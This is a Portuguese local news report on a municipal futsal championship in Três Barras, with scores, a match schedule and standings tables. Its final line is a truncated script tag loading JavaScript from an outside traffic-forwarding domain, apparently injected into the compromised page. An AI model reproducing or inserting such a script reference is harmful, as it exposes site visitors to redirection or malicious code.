O Campeonato Municipal de Futsal de Três Barras teve sequência no final da tarde e noite de segunda-feira (1°) com 23 gols em quatro jogos, todos válidos pela quarta rodada da competição.
Na única partida pela categoria Infantil, o União Três Barras aplicou 6 a 0 no time do Unidos e agora tem os mesmos seis pontos do CTTBF – B.
Já pela categoria Livre, outras três goleadas, começando com a vitória do Central sobre o Marra pelo placar de 4 a 1, o que lhe garantiu a liderança isolada da chave B.
O Sonos Sem Eles também fez um ótimo resultado ao bater o Bola de Fogo por 4 a 0. E, no término da rodada, quem sobrou em quadra foi a equipe do Galáticos que derrotou o Unidos por 7 a 1, assumindo assim a ponta da chave D com seis pontos.
O campeonato é uma realização do Governo de Três Barras, por meio da secretaria de Educação, Cultura e Esporte, em parceria com a Liga Esportiva Canoinhense (LEC).
A organização informa que na noite desta terça-feira (02) tem início as disputas de mais duas categorias, também no ginásio de esportes Ione Cyríaco de Souza.
Pela Máster, às 18h45 jogam Estrelas e Olaria e, às 20h50, se enfrentam União Três Barras e Remar. No intervalo destes dois jogos, União Três Barras e Atlético Três Barras se confrontam às 19h50 em partida válida pela categoria Feminino.
Já as disputas pelas categorias Infantil e Livre prosseguem nesta quarta-feira (03), com os seguintes jogos:
5ª RODADA
J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
17 | 03/10 | 17:45 | INFANTIL | EVOLUÇÃO JOVEM | X | UNIDOS | ||
18 | 03/10 | 18:45 | D | UNIÃO TER BARRAS B | X | UNIÃO SÃO JOÃO | ||
19 | 03/10 | 19:50 | C | REAL SÃO CRISTOVÃO | X | ATLETICO TRES BARRAS | ||
20 | 03/10 | 20:50 | B | DEXAQUEUXUTO | X | COLORADO |
CLASSIFICAÇÃO GERAL – CATEGORIA LIVRE
Chave A
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
OS DETEMIDOS | ||||||||||||
UNIÃO TB – A | X | X | X | |||||||||
BOLA DE FOGO | ||||||||||||
FOLHA SECA | X | X | X | |||||||||
SONOS SEM ELES | X | X | X |
Chave B
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
DEIXAQUEUXUTO | ||||||||||||
COLORADO | ||||||||||||
CENTRAL | X | X | X | X | X | X | ||||||
BAIXADA | ||||||||||||
MARRA | X | X | X |
Chave C
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
REAL SÃOCRISTÓVÃO | |||||||||
ATLÉTICO TRÊS BARRAS | X | X | X | ||||||
BRASNILE | |||||||||
REMAR | X | X | X | X | X | X |
Chave D
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
UNIÃO TRÊS BARRAS – B | X | X | X | ||||||
UNIÃO SÃO JOÃO | |||||||||
GALÁTICOS | X | X | X | X | X | X | |||
UNIDOS |
CLASSIFICAÇÃO GERAL – CATEGORIA INFANTIL
Chave Única
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
CTTBF – A | ||||||||||||
CTTBF – B | X | X | X | X | X | X | ||||||
UNIÃO TB | X | X | X | X | X | X | ||||||
EVOLUÇÃO JOVEM | ||||||||||||
UNIDOS |
… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>